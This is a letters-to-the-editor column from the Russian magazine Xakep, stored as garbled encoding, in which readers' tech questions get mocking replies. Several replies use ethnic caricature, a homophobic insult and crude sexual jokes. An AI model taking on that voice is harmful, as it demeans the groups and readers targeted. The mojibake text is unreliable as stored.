çàïóñòèëñÿ, íî ñ 3-ãî ðàçà. Îáåãàë äðóçåé, íî ýôôåêò òîòæå, êîñÿ÷èò
âñÿ =( À ìíå òàê õîòåëîñü íîâîãî êàñïåðñêîãî ïîãÿëäåòü è IE 7.0.
Ìîæåòå ìíå ïîìî÷ü ñ äèñêîì?

Re: Ïðèâåò òåáå, î äîñòîéíûé ìóæ! Òâîÿ ãðàæäàíñêàÿ ïîçèöèÿ ïðåäåëü-
íî ÿñíà. Çíà÷èò, êèñëîòíàÿ îáëîæêà � ïëîõî, øðèôòû � ïëîõî, à DVD
� åùå õóæå? Íå õî÷åò «çàðóñêàòüñÿ? Íå ìîãó ïîíÿòü ýòîãî ñëîâà, íî ñó-
äÿ ïî êîðíþ, îíî èìååò êàêîå-òî îòíîøåíèå ê ðóñè÷àì è íàöèîíàëüíîìó
âîïðîñó. Íàâåðíîå, ñëîâî ýòî îçíà÷àåò «ïðèíóäèòåëüíî ñäåëàòü ðóñè-
÷åì»? Òîãäà âñå îñòàëüíîå ÿ ïîíÿòü íå ìîãó. Õîòÿ, íàïðèìåð, æåëàíèå
ïîñìîòðåòü íà Êàñïåðñêîãî (âñåì èçâåñòíà åãî ðîñêîøíàÿ áîðîäà, åñëè
îí åå êîíå÷íî íå ñáðèë) âïîëíå ïîíÿòíî, îí òîæå î÷åíü äîñòîéíûé ÷åëî-
âåê. Ðóñè÷. À êèñëîòíîñòü îáëîæåê ñâÿçàíà ñ òåì, ÷òî àðò-äèðåêòîð íàø,
Êîíñòàíòèí, (òîæå, êñòàòè, ðóñè÷) ïðèñòðàñòèëñÿ ê ëèçàíèþ òîêñè÷íûõ

æàá ñ Îãíåííûõ Îñòðîâîâ. Ëèçíåò, áûâàëî, åå ïðîïèòàííóþ ãàëëþöèíî-
ãåíîì øêóðó � è óïàäåò áåç ÷óâñòâ. À äèçàéíåðû òîæå íå ñïÿò � ðàç � è
ïîäõâàòÿò åãî è ïîñàäÿò çà êîìïüþòåð. Òàì îí ñî âðåìåíåì î÷íåòñÿ,
âîçüìåò â ðóêó ìûøêó è íåñêîëüêî ñóòîê ïîäðÿä äèçàéíèò ñàìûì êèñ-
ëîòíûì îáðàçîì. Íàì òîëüêî îñòàåòñÿ åãî êîðìèòü, ïîèòü è äûøàòü çà
íåãî áîëüøèì ðåçèíîâûì ìåøêîì.

From: Ãëóõîâ È. Ñ. [1chu-cheow@regiomontano.com]
Òû çíàåøü, äîãàäûâàþñü, ÷òî òû ñðóëèâàøü ê òîìó æèðíîìó Àðìåíó íà
Ìåðñåäåñå. êðîìå òîãî îòêðîþ òàéíó òåáå, ïóïñèê, ÷òî ÿ âñòðåòèë òâîåãî
êðàñàâöà íà äíÿõ îêîëî ïîäúåçäà è îí ìíå ñêàçàë, ÷òî çàïèñûâàëñÿ ê ìà-
ãó {CENSORED}, ÷òîáû ïðèâÿçàòü òåáÿ ê ñåáå. Ìîæåøü ñàìà ïðîâåðèòü:
äîçâîíè ïî òëô {CENSORED} åãî ïîìîùíèêó èëè íà ñàéò ñõîäè: xakep.ru

Re: Îäíàêî, òåìà íàöèîíàëüíîé òåðïèìîñòè ïðîñòî êðàñíîé íèòüþ ïðîõî-
äèò ñêâîçü íåêîòîðûå ïèñüìà ýòîãî íîìåðà. Íàâåðíîå, ñêàçûâàþòñÿ îñåí-
íèå îáîñòðåíèÿ ó ðàçëè÷íîãî ðîäà äóøåâíîáîëüíûõ, è ÿðêèì èõ ïðåäñòà-
âèòåëåì ÿâëÿåòñÿ òàèíñòâåííûé Ãëóõîâ È. Ñ. Ýòîò ÿâíî ãîìîñåêñóàëüíî
íàñòðîåííûé ãîñïîäèí îáâèíÿåò íàñ â ñâÿçÿõ (âîçìîæíî, èíòèìíûõ ) ñ íå-
êèì Àðìåíîì. Âàé, íèõàðàøî, äàðàãîé. Íèïðàâäà ýòî, ïàíèìàåøü? 

From: ïëèç
Subj: äðàâñòâóéòå!!!
Ïîìîãèòå ìíå, ÿ êóïèë õîñòèíã è äîìåí 1 óðîâíÿ, âñå âðîäå ðåàëüíî ïî
íà÷àëó, íî...Ìîé ñàéò íèêòî íå ïîñåùàåò!!!! ß áû õîòåë óçíàòü êàê ìîæ-
íî ðàñêðóòèòü ñàéò!!!????????[X
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E-mail-unit
ÇÄÐÀÂÑÒÂÓÉÒÅ, ÄÎÐÎÃÈÅ ÌÎÈ ÒÅËÅÇÐÈÒÅËÈ (Ñ)! ÊÀÊ ÂÑÅÃÄÀ, ×ÈÒÀÞ ß ÏÈÑÜÌÀ ×ÈÒÀÒÅËÅÉ, ÏËÀ×Ó, ÈÍÎÃ-
ÄÀ � ÑÌÅÞÑÜ. ÊÀÊ ÂÑÅÃÄÀ, ËÈÄÈÐÓÞÙÈÅ ÏÎÇÈÖÈÈ ÇÀÍÈÌÀÞÒ ÒÐÓÄÛ Â ÄÓÕÅ: «ÓÁÅÉ ÄÈÇÀÉÍÅÐÎÂ ÌÀÃÈ-
×ÅÑÊÈÌ ÆÅÇËÎÌ, ß ÈÕ ÍÅÍÀÂÈÆÓ», «ÍÀÃÐÀÄÈ ÄÈÇÀÉÍÅÐÎÂ ÇÎËÎÒÎÌ, ÆÓÐÍÀË ÑÒÀË Î×ÅÍÜ ÊÐÓÒ», «ß ÍÅ
ÌÎÃÓ ÏÎÍßÒÜ, ÊÓÄÀ ÆÅ ÄÅËÑß ÄÀÍß ØÅÏÎÂÀËÎÂ», «ÏÐÈÂÅÒ, ÕÎËÎÄ, ÌÍÅ Î×ÅÍÜ ÍÐÀÂÈÒÑß ÒÂÎÉ ÆÓÐÍÀË,
ÒÀÊ ÄÅÐÆÀÒÜ, ÓÐÀ!», «×ÒÎ ÇÀ PDF ÒÀÊÎÉ,  ÏÎ×ÅÌÓ ÂÎÐÄÎÌ ÍÅ ÎÒÊÐÛÂÀÅÒÑß»? ÑÌÅÞÑÜ È ÐÀÄÓÞÑÜ ß ÍÀÄ
ÐÅÀËÜÍÛÌÈ ÂÎÏÐÎÑÀÌÈ È ÊÎÍÑÒÐÓÊÒÈÂÍÛÌÈ ÏÎÆÅËÀÍÈßÌÈ. ÍÀ ÂÎÏÐÎÑÛ ß, ÏÐÀÂÄÀ, ÍÅ ÎÒÂÅ×ÀÞ, À
ÎÒÑÛËÀÞ ÐÅÄÀÊÒÎÐÀÌ, À ÍÀ ÊÎÍÑÒÐÓÊÒÈÂÍÓÞ ÊÐÈÒÈÊÓ ÑÌÎÒÐÞ ÑÊÂÎÇÜ ÐÎÇÎÂÓÞ ÏÐÈÇÌÓ, ÏÎÒÎÌÓ
×ÒÎ ß Î×ÅÍÜ ÏÎÇÈÒÈÂÍÛÉ ×ÅËÎÂÅÊ :)

ÂÐÀ×ÒÅÐÀÏÅÂÒ
Âñêðûòèå ïèñåì ïðîâåë 

Dr.Klouniz (magazine@real.xakep.ru)



Re: Âîïðîñ, êîíå÷íî, èíòåðåñíûé�÷åëîâåê ðåàëüíî íàïðÿãñÿ, êóïèë
õîñòèíã è äàæå äîìåí, ïåðâîãî óðîâíÿ, íî òóäà íèêòî íå õîäèò? Î÷åíü
ñòðàííî� Ñîäåðæèò ëè òâîé ñàéò èíôîðìàöèþ? Åñëè îíà ïîñâÿùåíà
îõðàíå òðóäà è òåõíèêå áåçîïàñíîñòè â ðàáîòå ñêðóááåðùèêà-íàñîñ÷èêà
èëè îáòî÷íèêà êîëåñíûõ ïàð íà ìîñêîâñêîì ìåòðîïîëèòåíå, âîçìîæíî,
ýòî íå âñåì èíòåðåñíî. Âîçìîæíî, ïðî òâîé ñàéò íèêòî íå çíàåò è çíàòü
íå õî÷åò, ïîñêîëüêó â åãî íèøå âñå óæå è òàê çàíÿòî áîëåå ðàñêðó÷åí-
íûìè ïðîåêòàìè. Âîçìîæíî, ó òåáÿ âîîáùå íåò ñàéòà, à òû ïðîñòî êóïèë
äîìåí è õîñòèíã è ãîðäèøüñÿ ýòèì. Â îáùåì, ìíå òðóäíî ïîäñêàçàòü òå-
áå Ïóòü. Ïîïðîáóé çàïóñòèòü google.com è òåáå îòêðîåòñÿ Äàî.

From: alex0001@yandex.ru
Subj: ***Âûáîð ïðîöåññîðà
Çäðàâñòâóéòå. Ó ìåíÿ âîçíèêëî äâå ïðîáëåìû, ïîìîãèòå, ïëèç, â èõ ðåøåíèè...

1 Êàêîé ïðîö âûáðàòü? Ïî äåíüãàì ïîäõîäèò Ð-4 3.2 ÃÃö. ×òî âûáðàòü 
èç 3õ âàðèàíòîâ � îáûêíîâåííûé, 540é èëè 640é? Ïîä 640é íàäî áóäåò
íîâóþ ìàòü (ñåé÷àñ ó ìåíÿ ASUS P4P800 Deluxe), äà åùå ñ AGP, ò.ê. âè-
äþõó 6800GT ïðîñòî òàê íå ñìåíèøü. ×åì îíè îòëè÷àþòñÿ, ÷òî ëó÷øå
âçÿòü? Èãðû, îáæèì âèäåî.

2 Ïîòåðÿë ïàðîëü. Ïðè çàõîäå íà ñàéò ïðîâàéäåðà äëÿ âõîäà â ñòàòèñ-
òèêó íàáèðàþ ëîãèí � ïàðîëü ïîäñòàâëÿåòñÿ è âñå ôóíöèêëèðóåò, çíà-
÷èò ýòîò ãàä (ïàðîëü) ãäå-òî ñèäèò.

Re: Íåâàæíî, êàêîé îí áóäåò, ýòîò ïðîöåññîð. Ñàìîå ãëàâíîå â íàøåì
äåëå � ýòî ýñòåòèêà. Ïîýòîìó íà ïðîöåññîðå äîëæíà áûòü  çîëîòàÿ íà-
ñå÷êà, ÷åðíûå ðîçû ïî ïåðèôåðèè è ïîðòðåò Ëüâà Òîëñòîãî , íàïå÷àòàí-

íûé ìåòîäîì ëèòîãðàôèè íà ëèöåâîé ñòîðîíå. Êàê òåáå, íàâåðíîå, èçâå-
ñòíî. Õàé-òåê äèçàéí íûí÷å íå â ìîäå, à âîò ðåòðî-ñòèëü � áóêâàëüíî
ïîñëåäíèé ïèñê ;)  À íàñ÷åò ïàðîëÿ � äåëî ñåðüåçíîå. Âîçìîæíî, ÎÍ
ãäå-òî åñòü. Âîçìîæíî � îíè ãäå-òî åñòü, íî ìû èõ íå âèäèì. Âîçìîæíî,
ïðàâèòåëüñòâî ÷òî-òî ñêðûâàåò îò íàñ. I want to believe. Äîñòàâàòü åãî
íèîòêóäà íå íàäî � ïðîáüåò ÷àñ, è îí ñàì òåáÿ äîñòàíåò.

From: Ðóñëàí [mail@globaltrans.ru]
Çäðàâñòâóéòå óâàæàåìàÿ Ðåäàêöèÿ !!!....ìíÿ èíòåðåñóåò ñëåäóå-
ùå...âîçìîæíî ãäå íèáóäü êóïèòü æóðíàëû "Õàêåð" è "Õàêåð Ñïåö" çà
2004 ãîä....åñëè ìîæíî çàêàçàòü ó âàñ â ðåäàêöèè.òî íàïèøèòå ïîæà-
ëóéñòà êàê ýòî ìîæíî ñäåëàòü.=))
Ñ óâàæåíèåì âàø ÷èòàòåëü Ðóñëàí 8).

Re: Êîíå÷íî æå, íåò! Âñå ñòàðûå íîìåðà Õàêåðà ìû ïðÿ÷åì ãëóáîêî
â ïîäâàëû ðåäàêöèè, à ëþäåé, êîòîðûå ïûòàþòñÿ ó ñåáÿ õðàíèòü æóð-
íàë áîëüøå òðåõ ìåñÿöåâ, ìû æåñòîêî ïðåñëåäóåì ìîðàëüíî è ôèçè-
÷åñêè. À åñëè íå ïîëó÷àåòñÿ � ïðîíèêàåì ê íèì òóäà, ãäå îíè áåççà-
ùèòíû. Â èõ ñíû. Ïîýòîìó, äðóã ìîé, íå ïûòàéñÿ íàéòè ñòàðûå íîìå-
ðà Õàêåðà â Îëèìïèéñêîì èëè ó áàðûã. È óæ òåì áîëåå � íèêîãäà íå
ïèøè ê òàì íà ýòó òåìó è íå çàãëÿäûâàé íà xakep.ru â ðàçäåë maga-
zine.  Ê òåìíîé ñòîðîíå ýòî âåäåò.

From: Oleg [grafin@netman.ru]
Subj: Mac OS
Çäðàâñòâóéòå, óâàæàåìûå!
Óæå íåêîòîðîå âðåìÿ â Èíòåðíåòå îáñóæäàåòñÿ òåìà óñòàíîâêè îïåðàöè-
îííîé ñèñòåìû Mac OS X Tiger 10.4.1 íà îáû÷íûå PC (ñì. ïðèëîæåííûé
ôàéë). Íå ìîãëè áû Âû â æóðíàëå ïîäðîáíî îáúÿìíèòü âñå òîíêîñòè ýòîé
óñòàíîâêè? À óæ åñëè Âû âûëîæèòå îáðàç çàãðóçî÷íîãî äèñêà íà DVD(êî-
òîðûé âåñèò áîëüøå 2 ãåêòàðîâ), òî ÿ óâåðåí, ÷òî î÷åíü ìíîãèå ÷èòàòåëè
Âàøåãî çàìå÷àòåëüíîãî æóðíàëà ñäåëàþò òèòóëüíûé ëèñò «Õàêåðà» ñâî-
åé ñòàðòîâîé ñòðàíè÷êîé è äîáàâÿò Âàø æóðíàë â «Èçáðàííîå»
Ñ óâàæåíèåì, Âàø ÷èòàòåëü!

Re: Ïðåäëàãàþ òåáå îòïèñàòü íà ýòó òåìó ëè÷íî Áóáëèêó êàê ðåäàêòîðó
ðóáðèêè PC-ZONE. Ìîæåò áûòü, åìó ïîíðàâèòñÿ òâîå ïðåäëîæåíèå.

From: Ex [mazahist5@mail.ru]
Subj: ïîäïèñêà
Çäðàâñòâóéòå, magazine.
ß õîòåë áû ïîäïèñàòüñÿ íà æóðíàë Õàêåð! 
Êàê ìíå ýòî ñäåëàòü?

Re: Åñëè ÷åñòíî, ïèñüìà îò ñëåïîãëóõîíåìûõ êàïèòàíîâ äàëüíåãî
ïëàâàíèÿ ÿ ëþáëþ áîëüøå âñåãî. Äàæå áîëüøå ñïàìà. Âîò, áûâàåò,
ïðîäèðàåøüñÿ ñðåäè âñåõ ýòèõ «ó8å_ëè4ü ñâîé nåíèÑ íà 5 ñì. now»,
èëè òàì «ïèñüìî îò Àêàêèÿ Ôðåäåðèêîâè÷à» � è òóò òàêîé ïåðë. Ìî-
ãó÷èé óì ýòîãî ÷åëîâåêà íå âèäèò íå ðåäàêöèîííîé, íè îáû÷íîé ïîä-
ïèñêè íè â íàøåì æóðíàëå, íè íà ñàéòå. ×òî ÿ ìîãó òóò ïîñîâåòî-
âàòü? Ìîãó âûñëàòü äâà êîìïëåêòà òåêñòîâ, èçãîòîâëåííûõ ñ ïî-
ìîùüþ àëôàâèòà Áðàéëÿ. Ïåðâûé � ýòî ïîäðîáíûé ìàíóàë ïî ïîä-
ïèñêå (÷èòàåòñÿ  äâóìÿ ðóêàìè) è êîëëåêöèþ ôèðìåííîãî ïîðíî äëÿ
ñëåïûõ (÷èòàåòñÿ îäíîé ðóêîé).

From: Àëåêñàíäð Êîãóòêåâè÷ [tolsty5@tut.by]
Subj: Ïîìîãèòå
Äîáðûå ëþäè ïîìîãèòå!!! ß ñèæó êàæäûé äåíü â èíåòå, íî êàæäûé äåíü
íà ìåíÿ èäåò àòàêà îò êàêîãî òî (çâåðÿ) ó ìåíÿ ïèøåò ÷òî àòàêà îòðàæå-
íà è åãî IP àäðåñ íî îí ïîñòîÿííî ìåíÿåòüñÿ. êàê ìîæíî ðåàëüíî óçíàòü
åãî íàñòîÿùèé àäðåñ, à òî îí ìíå óæå èçðÿäíåíüêî íàäîåë. 
Ñïàñèáî!

Re: Íàñòîÿùèé àäðåñ åãî � Ñîâåòñêèé Ñîþç, à èìÿ åãî íåèçâåñò-
íî, ïîñêîëüêó èìÿ åãî � Ëåãèîí. À òåáå, òîâàðèù, ÿ ïîñîâåòóþ èç-
áàâëÿòüñÿ îò ñóïåð-ñîôòà (íå áóäåì ïîêàçûâàòü ïàëüöåì), êîòîðûé
êàæäóþ ìèíóòó ïèøåò ÷òî-òî âðîäå: «Âàø êîìïüþòåð àòàêîâàí
ñòðàøíîé àòàêîé (lovesan). Àòàêà óñïåøíî, õîòÿ è ñ î÷åíü áîëüøè-
ìè çàòðóäíåíèÿìè îòðàæåíà. ×òîáû âûðàçèòü ðåñïåêò àâòîðó ñó-
ïåð-IDS � ñêîðåå íàïèøè ïèñüìî)». Ïîñòàâü íîðìàëüíûé ôàéðâîë
(ïðî òåñòû è ìû, è Ñïåö ïèñàëè î÷åíü ÷àñòî, íàïðèìåð, â Ñïåöå �
«Ñåêüþðèòè-ôîêóñû») è íà çàáûâàé ïðî çàïëàòêè. Åñëè áóäåøü îá-
ðàùàòü ìíîãî âíèìàíèÿ íà âñÿêèõ âèðóñíûõ ëàìåðîâ, æåíùèí-þçå-
ðîâ è ïðî÷èõ êîìïüþòåðíûõ ìàðãèíàëîâ ñ ñîòíåé ÷åðâåé è ïîëóñîò-
íåé òðîÿíîâ íà êîìïå � î÷åíü áûñòðî ñòàíåøü íåðâíûì, çåëåíûì,
÷àñòî çàäàþùèì âîïðîñû, ãîðáàòûì þçåðîì :). Òàêîâî ïðîêëÿòèå
âåëèêîãî êîìïüþòåðíîãî äóõà [X
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